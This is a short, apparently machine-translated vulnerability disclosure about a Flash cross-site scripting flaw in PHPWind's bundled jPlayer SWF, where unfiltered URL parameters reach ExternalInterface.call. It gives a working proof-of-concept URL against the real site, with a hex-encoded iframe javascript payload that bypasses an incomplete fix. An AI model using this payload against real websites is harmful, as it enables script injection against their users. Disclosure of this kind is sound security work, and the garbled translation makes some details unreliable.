PHPWind flash xss

Suddenly, an official reply submitted by insight-labs has been fixed, but the repair is incomplete. Details: When testing other websites, I found this flash file and read the code, ExternalInterface. call (this. jQuery, "jPlayerFlashEvent", arg0.type, this. extractStatusData (arg0.data); Search jquery: this. jQuery = loaderInfo. parameters. jQuery + "('#" + loaderInfo. parameters. id + "'). jPlayer "; it is clearly not filtered and can be controlled. We can see this: Success
A box will pop up. It was originally intended to be unusable. Suddenly, I thought that I would not use alert to use document instead. write, and since the id can also be controlled, write <iframe>, found that there is a box on the page, but write <iframe src = javascript: alert (document. domain)> it cannot be executed. I tried to encode the js Code and it was a success. Http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf? JQuery = document. write & id = \ x3c \ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x20 \ x73 \ x72 \ x63 \ x3d \ x6a \ x61 \ x76 \ x61 \ x73 \ x63 \ x72 \ x69 \ x74 \ x3a \ x61 \ x6c \ x65 \ x72 \ x74 \ x28 \ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74 \ x2e \ x64 \ x6f \ x6d \ x61 \ x69 \ x6e \ x29 \ x3e preview. A backslash is automatically converted into two. Handle it by yourself.